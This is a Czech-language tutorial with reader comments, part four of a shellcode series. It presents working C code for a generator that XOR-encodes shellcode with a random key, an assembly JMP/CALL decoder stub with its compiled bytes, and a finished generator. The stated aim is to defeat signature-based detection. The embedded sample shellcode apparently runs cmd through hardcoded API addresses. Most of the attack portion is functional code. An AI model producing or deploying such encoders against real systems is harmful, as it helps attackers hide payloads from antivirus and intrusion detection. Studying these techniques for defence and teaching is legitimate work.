Nebojme se shellcodů IV.
Tímto dílem pokračuje seriál o shellcodech pokročilými technikami, které se využívají pro vylepšení funkčnosti. Tento díl seznámí čtenáře s tvorbou generátoru zakódovaných shellcodů pomocí operátoru XOR.
Obsah:
——————————————
i. Úvod
ii. Hlavní myšlenka
iii. Píšeme generátor s enkodérem
iv. Dekódovací rutina
v. Hotový statický generátor
Odkazy
——————————————
i. Úvod
Poslední díl úplných základů, které jsou potřeba při vývoji shellcodů, popisoval, jakým způsobem používat funkce uložené v externích DLL knihovnách. Teoreticky se zabýval problémem, proč není vhodné volat funkce bez předchozího načtení požadované knihovny do paměti. Nakonec jsme si vytvořili shellcode, který volá API funkci MessageBoxA z knihovny user32.dll. V tomto dílu si vytvoříme jednoduchý generátor, který zakóduje shellcode pomocí operátoru XOR a náhodně generovaného čísla.
ii. Hlavní myšlenka
Téměř všechny dostupné shellcody v surové podobě jsou efektivně detekovatelné pomocí snadno vytvořených signatur. Signatura je posloupnost bajtů z celého kódu, které se nikdy nemění, a podle které lze snadno identifikovat konkrétní typ kódu. Tomu se snaží většina útočníků zabránit pomocí zakódování shellcodu a připojení dekodéru před samotný shellcode. Při zpracování je pak nejprve shellcode dekódován a následně vykonán. Graficky bychom to mohli znázornit například takhle:
+------------+ | Dekodér | +------------+ | Zakódovaný | | shellcode | +------------+
iii. Píšeme generátor s enkodérem
Když už nyní víme, jak by měl zakódovaný shellcode vypadat, můžeme se vrhnout na návrh samotného enkodéru a dekodéru. Jako vhodné operátory se v tomto případě jeví +, -, XOR apod. Já zvolím operátor XOR, který byl a je hodně populární mezi autory malware pro svou jednoducho implementaci (i když ta je jednoduchá i v ostatních případech
). Nyní tedy potřebujeme každý bajt vyxorovat nějakou náhodnou hodnotu. Tato hodnota však nemůže být ledajaká. Měla by být v rozsahu 0 až 255 a k tomu se hodí funkce rand(). Pro demonstraci si vezmeme shellcode z druhého dílu seriálu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | #include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ unsigned char shellcode[] = "\x33\xDB\x68\x65\x78\x30\x30\xC6\x44\x24" "\x02\x65\x88\x5C\x24\x03\x68\x63\x6D\x64" "\x2E\x8B\xC4\xB3\x01\x53\x50\xBB\x0D\x25" "\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\x12\xCB" "\x81\x7C\xFF\xD3"; srand(time(NULL)); // inicializace generatoru // generuje nahodne cislo unsigned char random_num = (rand() % 256); int shellcode_len = strlen(shellcode); int i = 0; // vyxoruj vsechny bajty shellcodu nahodnym cislem do{ shellcode[i] ^= random_num; i++; }while(shellcode[i] != '\0'); /* * pokud je velikost enkryptovaneho shellcodu * jina nez velikost puvodniho shellcodu, * pak obsahuje NULL bajt/y a je potreba * enkodovat znovu */ if(shellcode_len != strlen(shellcode)){ printf("A NULL byte was found in the shellcode!\n"); printf("Try again.."); return 1; } // vytiskni zakodovany shellcode for(i = 0; i != strlen(shellcode); i++){ if((i % 10) == 0) printf("\n"); printf("\\x%02x", (unsigned char) shellcode[i]); } return 0; } |
iv. Dekódovací rutina
Nyní, když máme generátor, který zakóduje zadaný shellcode, musíme v assembleru vytvořit dekódovací rutinu. Ta by měla vypadat tak, že zjistí adresu shellcodu, a pak v cyklu znovu vyxoruje celý shellcode právě tím vygenerovaným číslem. Pokud si dobře vzpomínáte: Pokud dvakrát po sobě vyxorujete danou hodnotu náhodným číslem, které není stejné jako tato hodnota, opět získáme původní hodnotu. Pro získání adresy použijeme JMP/CALL trick.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | jmp _SearchShellcode _DecodeShellcode: pop ebx ; adresa shellcodu xor ecx, ecx xor edx, edx _Cycle: ; je cl rovno velikosti shellcodu? ; hodnota 0CCh bude nahrazena skutecnou velikosti shellcodu cmp cl, 0CCh jz _Shellcode ; dekoduj dany bajt pomoci daneho cisla ; hodnota 0CCh bude nahazena skutecnym cislem xor byte ptr [ebx + ecx], 0CCh inc cl jmp _Cycle _SearchShellcode: call _DecodeShellcode _Shellcode: |
Kód nyní zkompilujeme a vytvoříme si z něj dekódovací část shellcode, který připojíme k zakódované části:
1 2 3 4 | unsigned char decoder[] = "\xEB\x12\x5B\x33\xC9\x33\xD2\x80\xF9\xCC" "\x74\x0D\x80\x34\x19\xCC\xFE\xC1\xEB\xF3" "\xE8\xE9\xFF\xFF\xFF"; |
První hexadecimální hodnotu \xCC nahradíme skutečnou velikostí shellcodu a druhou hodnotu \xCC nahradíme hodnotou, kterou jsme enkódovali shellcode. To můžeme realizovat buď staticky nebo dynamicky:
1 2 3 | // staticke reseni decoder[9] = strlen(shellcode) decoder[15] = (rand() % 256); |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | //dynamicke resenni i = 0; while(i != strlen(shellcode)){ if(decoder[i] == 204 ){ // 204 == "\xCC" decoder[i] = strlen(shellcode); break; } i++; } i = 0; while(i != strlen(shellcode)){ if(decoder[i] == 204){ // 204 == "\xCC" decoder[i] = random_num; break; } i++; } |
v. Hotový statický generátor
A nyní to všechno spojíme dohromady
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #include <stdio.h> #include <stdlib.h> #include <time.h> int main(){ unsigned char decoder[] = "\xEB\x12\x5B\x33\xC9\x33\xD2\x80\xF9\xCC" "\x74\x0D\x80\x34\x19\xCC\xFE\xC1\xEB\xF3" "\xE8\xE9\xFF\xFF\xFF"; unsigned char shellcode[] = "\x33\xDB\x68\x65\x78\x30\x30\xC6\x44\x24" "\x02\x65\x88\x5C\x24\x03\x68\x63\x6D\x64" "\x2E\x8B\xC4\xB3\x01\x53\x50\xBB\x0D\x25" "\x86\x7C\xFF\xD3\x33\xDB\x53\xBB\x12\xCB" "\x81\x7C\xFF\xD3"; int i = 0; char *full_shellcode; int shellcode_len = strlen(shellcode); int decoder_len = strlen(decoder); srand(time(NULL)); unsigned char random_num = (rand() % 256); decoder[9] = shellcode_len; decoder[15] = random_num; do{ shellcode[i] ^= random_num; i++; }while(shellcode[i] != '\0'); full_shellcode = (char *) malloc(decoder_len + shellcode_len + 1); memset(full_shellcode, 0, (decoder_len + shellcode_len + 1)); strcpy(full_shellcode, decoder); strcat(full_shellcode, shellcode); if(strlen(full_shellcode) != (decoder_len + shellcode_len)){ printf("In the shellcode was found null byte!\n"); printf("Try again.."); free(full_shellcode); return 1; } for(i = 0; i != strlen(full_shellcode); i++){ if((i % 10) == 0) printf("\n"); printf("\\x%02x", (unsigned char) full_shellcode[i]); } free(full_shellcode); return 0; } |
Jediným nedostatkem, je skutečnost, že dekodér je statický, a proto je stále možné vytvořit detekční signaturu i na tento shellcode (tento problém se dále řeší pomocí polymorfismu, kdy je dekodér generován náhodně). Počet možných různých shellcodů bude roven hodnotě 256 – (počet unikátních hexadecimálních hodnot{opkódů} v shellcodu), což je dostatečné množství. V případě složitějších enkodérů výsledný počet shellcodů narůstá. Rychlou úpravou celého kódu je možné rovnou testovat funkčnost nebo ho případně zapisovat do souboru. Dotvořit si generátor k obrazu svému již nechám na každém čtenáři



Nepoužíval bych obecné náhodné číslo 0-255.
1) XOR nulou – sice heká operace, ale jejím výsledekm je, že se kódy v řetězci nemění.
2) nelze XORovat hodnotou, která se v řetězci vyskytuje, protože by to vedlo k vzniku null bytu.
Takhle to vede k tomu, že se encding musí provádět tak dlouho, dokud se „náhodně“ neořijde na byte, který se v řetězci nevyskytuje (což si vyžádá x cyklů).
Doporučuju raději projít si (1 cyklus) výskyty bajtů v řetězci a ten, který se nevyskytuje (třeba největší nebo největší nevyskytující se) použít (2. cyklus).
Přičemž zfailovat to může jen na situaci, kdy se v řetězci vyskytuje všech 256 možných hodnot.
Jinak je možné odpustit si jmp na SearchShellCode a hodit rovnou call, ušetří to jednu zbytečnou instrukci a pár bajtů.
Naopak by se hodila úprava pro shellcody nad 256 bajtů (použití CX místo CL registru). To se ale musíme vyhnout nule v kódu při shellcodech pod 256 bajtů, tedy naopak CX dekrementovat místo inkrementace a hlídat flagy (nejlépe zero, případně přetečení) a velikost shellcodu se objeví jen při plnění CX (lze i nepřímo, XOR ECX,ECX následované plněním CL).
Jinak se musím přiznat, že poslední odstavec jsem nepochopil
)
Proč může být různých shellcodů zrovna 256? Co to má společného s opkódy?
Díky za reakci
ad 1) Ano, souhlasím. Původně jsem počítal s hodnotou (0 až 254) + 1, ale pak jsem si řekl, že v tom lidem nebudu dělat guláš a xorování nulou oželím, protože výsledkem bude i tak shellcode vybavený dekryptorem, což bylo účelem článku.
ad 2) I s touto možností jsem počítal. Ale z hlediska pravděpodobnosti je počet unikátních opcodů v takhle krátkých shellcodech dosti nízky, a proto jsem pro účely demonstrace zvolil jednodušší řešení.
Nebylo cílem napsat 100% obsáhlý článek, který myslí na všechny možné i nemožné problémy. Prvně bych ho musel tvořit podstatně déle než jen pár hodin.
Ale jsem rád i za tuto kritiku, protože ukazuje, že o problematice lidé přemýšlí
Ještě jednou díky.
Zrovna tenhle skok na shellcode jsem asi nejdéle řešil, protože se mi nelíbila celková délka
Tento generátor není univerzální. Má sloužit jen jako ukázka. Universální řešení mám v plánu až v případě polymorfního generátoru.
Jaj! Díky za upozornění. Původně tam mělo být: 256 MÍNUS (celkový počet unikátních hodnot {opcody, adresy, odskoky, řetězce, …}), což se vztahuje k problematice xorování, kterou jsi řešil již v předchozím komentu. Uznávám, že je to nešťastě formulované.